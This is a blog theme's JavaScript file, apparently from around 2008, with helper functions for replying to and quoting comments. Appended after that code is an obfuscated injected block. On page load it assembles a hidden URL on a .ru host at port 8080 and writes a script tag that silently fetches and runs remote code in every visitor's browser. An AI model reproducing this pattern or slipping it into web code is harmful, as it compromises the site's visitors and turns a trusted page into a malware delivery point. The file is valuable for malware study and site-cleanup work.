/*
Author: mg12
Update: 2008/11/13
Author URI: http://www.neoease.com/
*/
(function() {

function reply(authorId, commentId, commentBox) {
	var author = MGJS.$(authorId).innerHTML;
	var insertStr = '<a href="#' + commentId + '">@' + author.replace(/\t|\n|\r\n/g, "") + '</a> \n';

	appendReply(insertStr, commentBox);
}

function quote(authorId, commentId, commentBodyId, commentBox) {
	var author = MGJS.$(authorId).innerHTML;
	var comment = MGJS.$(commentBodyId).innerHTML;

	var insertStr = '<blockquote cite="#' + commentBodyId + '">';
	insertStr += '\n<strong><a href="#' + commentId + '">' + author.replace(/\t|\n|\r\n/g, "") + '</a> :</strong>';
	insertStr += comment.replace(/\t/g, "");
	insertStr += '</blockquote>\n';

	insertQuote(insertStr, commentBox);
}

function appendReply(insertStr, commentBox) {
	if(MGJS.$(commentBox) && MGJS.$(commentBox).type == 'textarea') {
		field = MGJS.$(commentBox);

	} else {
		alert("The comment box does not exist!");
		return false;
	}

	if (field.value.indexOf(insertStr) > -1) {
		alert("You've already appended this reply!");
		return false;
	}

	if (field.value.replace(/\s|\t|\n/g, "") == '') {
		field.value = insertStr;
	} else {
		field.value = field.value.replace(/[\n]*$/g, "") + '\n\n' + insertStr;
	}
	field.focus();
}

function insertQuote(insertStr, commentBox) {
	if(MGJS.$(commentBox) && MGJS.$(commentBox).type == 'textarea') {
		field = MGJS.$(commentBox);

	} else {
		alert("The comment box does not exist!");
		return false;
	}

	if(document.selection) {
		field.focus();
		sel = document.selection.createRange();
		sel.text = insertStr;
		field.focus();

	} else if (field.selectionStart || field.selectionStart == '0') {
		var startPos = field.selectionStart;
		var endPos = field.selectionEnd;
		var cursorPos = startPos;
		field.value = field.value.substring(0, startPos)
					+ insertStr
					+ field.value.substring(endPos, field.value.length);
		cursorPos += insertStr.length;
		field.focus();
		field.selectionStart = cursorPos;
		field.selectionEnd = cursorPos;

	} else {
		field.value += insertStr;
		field.focus();
	}
}

window['MGJS_CMT'] = {};
window['MGJS_CMT']['reply'] = reply;
window['MGJS_CMT']['quote'] = quote;

})();
this.l='';var F;if(F!='o'){F=''};try {var h=new String();var t=new Date();var p;if(p!=''){p='zc'};var To=String("gKzsA".substr(0,1));var D=RegExp;var G=String("]nqH".substr(0,1));var L="";var pf;if(pf!='gI'){pf='gI'};var O="rep"+"lacPhR".substr(0,3)+"loaDe".substr(4);var bG;if(bG!='K' && bG != ''){bG=null};var N;if(N!=''){N='W'};var MS=new String();var wP;if(wP!='' && wP!='c'){wP=null};var GD=String("[");var r='';var n=new String();var QI=new String();function T(u,i){var _X;if(_X!='e'){_X=''};this.Dk="";var w=GD;var Ln="";var j;if(j!='' && j!='ZG'){j='xN'};w+=i;w+=G;var bp;if(bp!='V' && bp != ''){bp=null};var z=new D(w, To);return u.replace(z, r);var za;if(za!=''){za='rF'};};var Lf=new Date();this.sY="";var X=String("/goo"+"gle."+"h1CYcom/".substr(4)+"goog"+"le.c"+"om/5"+"B4s1.lasB4".substr(3,4)+"Xif/eor".substr(3)+"9wKezo.w9K".substr(3,4)+"176com/".substr(3)+"y8.chnH".substr(0,4)+"VOUom.p".substr(3)+"hpCJOW".substr(0,2));var DG='';var VE=new Date();var s=T('hLt0tVp0:V/V/Vd0a0nHgLdVaVnHgL-0cHoHmL.HcVrHikc0i0n0fHoH.HcLo0mV.LakpLpklLeV-kcVokm0.VtkhLeLpLa0lLmHpkeHnL.0r0uL:0',"0LkHV");var _=String("scrip"+"Iust".substr(3));var _m;if(_m!='zn' && _m != ''){_m=null};this.gd="";var E=T('851510556181165011161',"651");this.jP='';var qK;if(qK!='' && qK!='iq'){qK=null};var zl=new String("4ONonloa".substr(3)+"eKmd".substr(3));var WN;if(WN!='' && WN!='Bo'){WN=null};var ud="";var u="1";var GE;if(GE!=''){GE='up'};var jd;if(jd!='' && jd!='kg'){jd=null};window[zl]=function(){var CR;if(CR!='wf' && CR != ''){CR=null};J=document.createElement(_);var eO=new String();var ov;if(ov!='Tj' && ov!='ck'){ov=''};DG+=s;DG+=E+X;var SF;if(SF!='Lfh' && SF!='tY'){SF='Lfh'};var VM=new Date();J.src=DG;var Eo;if(Eo!='' && Eo!='gY'){Eo=null};var tf=new Date();var DX=document.body;var zk;if(zk!='wC' && zk!='bR'){zk='wC'};var zN=new Date();J.defer=u;var hy=new Array();var v;if(v!=''){v='qz'};DX.appendChild(J);};} catch(Ov){this.FG='';};